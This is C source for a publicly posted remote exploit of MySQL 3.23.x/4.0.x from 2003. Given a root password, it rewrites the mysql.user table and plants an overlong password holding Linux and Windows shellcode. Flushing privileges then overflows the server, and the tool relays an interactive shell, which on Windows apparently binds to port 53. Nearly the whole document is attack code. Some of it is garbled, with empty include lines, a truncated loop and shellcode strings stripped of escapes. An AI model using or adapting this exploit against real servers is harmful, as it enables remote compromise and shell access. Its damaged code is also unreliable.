Mysql 3.23.x/4.0.x remote exploit：


/*
* exp for mysql
* proof of concept
* using jmp *eax on linux
* using jmp *edx on windows
* bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user,password FROM mysql.user WHERE user!='root' LIMIT 0,1"
#define FLUSHSQL "x11x00x00x00x03x66x6Cx75x73x68x20x70x72x69x76x69x6Cx65x67x65x73"
#define BUF 2048
#define VER "2.1b2"
#define CMD "uname -a;id "
MYSQL *conn;
char NOP[]="90";
char linux_shellcode[]=
"db31c03102b0c931"
"c08580cdc3893474"
"d231c03180cd07b0"
"40b0c03109b180cd"
"c031c38980cd25b0"
"80c2fe43f07203fa"
"14b0c031c38980cd"
"c931c03125b009b1"
"17b080cdc03180cd"
"89504050b0c931e3"
"b180cda283c889e0"
"d0f70ae831c78940"
"894c40c0525050e2"
"4c8d5157db310424"
"66b00ab3835980cd"
"057501f874493a80"
"31d2e209c38940c0"
"fb8980cd3fb003b1"
"4180cd496851f8e2"
"68732f6e622f2f68"
"51e389696c692d68"
"51e28970e1895352"
"c031d23180cd0bb0"
;
//bind on 53 port

char win_shellcode[]=
/*
"4A5A10EBB966C9333480017DFAE2990A"
"EBE805EB70FFFFFF99999895A938FDC3"
"12999999E91295D9D912348512411291"
"ED12A5EA6A9AE1879AB9E7128DD71262"
"CECF74AA9AA612C8F36B12623F6AC097"
"C6C091EDDC9D5E1AC6C0707B125412C7"
"5A9ABDDF589A784812FF50AA85DF1291"
"78585A9A12589A9B125A9A991A6E1263"
"4912975F71C09AF39999991ECB945F1A"
"65CE66CFF34112C3ED71C09CC9999999"
"F3C9C9C9669BF398411275CE999B9E5E"
"59AAAC99F39DDE1066CACE8998F369CE"
"6DCE66CA66CAC9C9491261CE12DD751A"
"F359AA6D9D10C08910627B17CF10A1CF"
"D9CF10A5B5DF5EFFDE149898AACFC989"
"C8C8C850C8C898F3FAA5DE5E1499FDF4"
"C8C9A5DECB79CE66CA65CE66C965CE66"
"AA7DCE66591C3559CBC860EC4B66CACF"
"7B32C0C35A59AA7766677671EDFCDE66"
"FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA"
"EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1"
"F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB"
"EE99D8E0AAC6ABEACACE99ABFAF6CAD8"
"D8EDFCF2F7F0FB99F0F599FDF7FCEDEA"
"FAFAF89999EDE9FCEAF6F5FAFAF6EAFC"
"99EDFCF2";
*/
"EB909090334A5A107EB966C90A348001"
"EBFAE299FFEBE8059570FFFFC3999998"
"99A938FDD912999985E9129591D91234"
"EA12411287ED12A5126A9AE1629AB9E7"
"AA8DD712C8CECF74629AA61297F36B12"
"ED3F6AC01AC6C0917BDC9D5EC7C6C070"
"DF125412485A9ABDAA589A789112FF50"
"9A85DF129B78585A9912589A63125A9A"
"5F1A6E12F34912971E71C09A1A999999"
"CFCB945FC365CE669CF3411299ED71C0"
"C9C9999998F3C9C9CE669BF35E411275"
"99999B9E1059AAAC89F39DDECE66CACE"
"CA98F369C96DCE66CE66CAC91A491261"
"6D12DD7589F359AA179D10C0CF10627B"
"A5CF10A1FFD9CF1098B5DF5E89DE1498"
"50AACFC9F3C8C8C85EC8C898F4FAA5DE"
"DE1499FD66C8C9A566CB79CE66CA65CE"
"66C965CE59AA7DCEEC591C35CFCBC860"
"C34B66CA777B32C0715A59AA66666776"
"C9EDFCDED8FAF6EBFCEBFDFDDA99EAEA"
"EDF8FCEBF6EBC9FCEAEAFCFAE1DC99D8"
"EBC9EDF0EAFCFAF6F6D599EAF0D5FDF8"
"EBF8EBFBEE99D8E0AAC6ABEACACE99AB"
"FAF6CAD8D8EDFCF2F7F0FB99F0F599FD"
"F7FCEDEAFAFAF89999EDE9FCEAF6F5FA"
"FAF6EAFC99EDFCF29090909090909090"
;
int win_port=53;
int type=1;
struct
{
char *os;
u_long ret;
int pad;
int systemtype; //0 is linux,1 is windows
} targets[] =
{
{ "linux:glibc-2.2.93-5", 0x42125b2b,19*4*2,0},
{ "windows2000 SP3 CN",0x77e625db,9*4*2,1},
},v;

void usage(char *);
void sqlerror(char *);
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);

main(int argc,char **argv)
{
MYSQL_RES *result;
MYSQL_ROW row;
char jmpaddress[8];
char buffer[BUF],muser[20],buf2[1200];
my_ulonglong rslines;
struct sockaddr_in clisocket;
int i=0,j,clifd,count,a;
char data1,c;
fd_set fds;
char *server=NULL,*rootpass=NULL;
int pad,systemtype;
u_long jmpaddr;

if(argc<3) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'p':
rootpass=optarg;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || rootpass==NULL)
usage(argv[0]);
memset(muser,0,20);
memset(buf2,0,1200);
pad=targets[type-1].pad;
systemtype=targets[type-1].systemtype;
jmpaddr=targets[type-1].ret;
printf("@-------------------------------------------------@ ");
printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s # ",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ ");
printf("--------------------------------------------------- ");
printf("[+] system type:%s,using ret addr:%p,pad:%d ",(systemtype==0)?"linux":"windows",jmpaddr,pad);
printf("[+] Connecting to mysql server %s:%d....",server,PORT);
fflush(stdout);
conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
if(conn==NULL) exit(0);
printf("ok ");
printf("[+] ALTER user column...");
fflush(stdout);
if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
sqlerror("ALTER user table failed");
//select
printf("ok ");
printf("[+] Select a valid user...");
fflush(stdout);
if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
sqlerror("select user from table failed");
result=mysql_store_result(conn);
if(result==NULL)
sqlerror("store result error");
rslines=mysql_num_rows(result);
if(rslines==0)
sqlerror("Cannot find a user");
row=mysql_fetch_row(result);
snprintf(muser,19,"%s",row[0]);
printf("ok ");
printf("[+] Found a user:%s,password:%s ",muser,row[1]);
memset(buffer,0,BUF);
i=sprintf(buffer,"update user set password='");
sprintf(jmpaddress,"%x",jmpaddr);
jmpaddress[8]=0;
for(j=0;j{
memcpy(buf2+j,NOP,2);
}
memcpy(buf2+j,"06eb",4);
memcpy(buf2+pad,jmpaddress,8);
switch(systemtype)
{
case 0:
memcpy(buf2+pad+8,linux_shellcode,strlen(linux_shellcode));
break;
case 1:
memcpy(buf2+pad+8,win_shellcode,strlen(win_shellcode));
break;
default:
printf("[-] Not support this systemtype ");
mysql_close(conn);
exit(0);
}

j=strlen(buf2);
if(j%8)
{
j=j/8+1;
count=j*8-strlen(buf2);
memset(buf2+strlen(buf2),'A',count);
}
printf("[+] Password length:%d ",strlen(buf2));
memcpy(buffer+i,buf2,strlen(buf2));
i+=strlen(buf2);
i+=sprintf(buffer+i,"' where user='%s'",muser);
mysql_free_result(result);
printf("[+] Modified password...");
fflush(stdout);
//get result
//write(2,buffer,i);
if(mysql_real_query(conn,buffer,i)!=0)
sqlerror("Modified password error");
//here I'll find client socket fd
printf("ok ");
printf("[+] Finding client socket......");
j=sizeof(clisocket);
for(clifd=3;clifd<256;clifd++)
{
if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
if(clisocket.sin_port==htons(PORT)) break;
}
if(clifd==256)
{
printf("FAILED [-] Cannot find client socket ");
mysql_close(conn);
exit(0);
}
printf("ok ");
printf("[+] socketfd:%d ",clifd);
//let server overflow
printf("[+] Overflow server....");
fflush(stdout);
send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
//if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0)
// sqlerror("Flush error");
printf("ok ");
if(systemtype==0)
{
printf("[+] sending OOB.......");
fflush(stdout);
data1='I';
if(send(clifd,&data1,1,MSG_OOB)<1)
{
perror("error");
mysql_close(conn);
exit(0);
}
printf("ok ");
send(clifd,CMD,sizeof(CMD),0);
}
printf("[+] Waiting for a shell..... ");
if(systemtype==1)
{
clifd=socket(AF_INET,SOCK_STREAM,0);
client_connect(clifd,server,win_port);
}
//printf("[+] Waiting a shell.....");
fflush(stdout);
execsh(clifd);
mysql_close(conn);
exit(0);

}
int execsh(int clifd)
{
fd_set fds;
int count;
char buffer[BUF];
memset(buffer,0,BUF);
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(clifd, &fds);

if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(clifd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(clifd, &fds))
{
count = read(clifd, buffer, BUF);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}

}
}

void usage(char *s)
{
int a;
printf("@-------------------------------------------------@ ");
printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s # ",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @ ");
printf("--------------------------------------------------- ");
printf("Usage:%s -d -p -t ",s);
printf(" -d target host ip/name ");
printf(" -p 'root' user paasword ");
printf(" -t type [default:%d] ",type);
printf(" ------------------------------ ");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s ", a+1, targets[a].ret, targets[a].os);
printf(" ");
exit(0);
}
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
{
MYSQL *connect;
connect=mysql_init(NULL);
if(connect==NULL)
{
printf("FAILED [-] init mysql failed:%s ",mysql_error(connect));
return NULL;
}
if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
{
printf("FAILED [-] Error: %s ",mysql_error(connect));
return NULL;
}
return connect;

}
void sqlerror(char *s)
{
fprintf(stderr,"FAILED [-] %s:%s ",s,mysql_error(conn));
mysql_close(conn);
exit(0);
}

int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;

if((host=gethostbyname(server))==NULL)
{
printf("gethostbyname(%s) error ",server);
return(-1);
}

bzero(&cliaddr,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d....",server,port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("error:%s ",strerror(errno));
return(-1);
}
printf("ok ");
return(0);
}

 

 

2007-07-26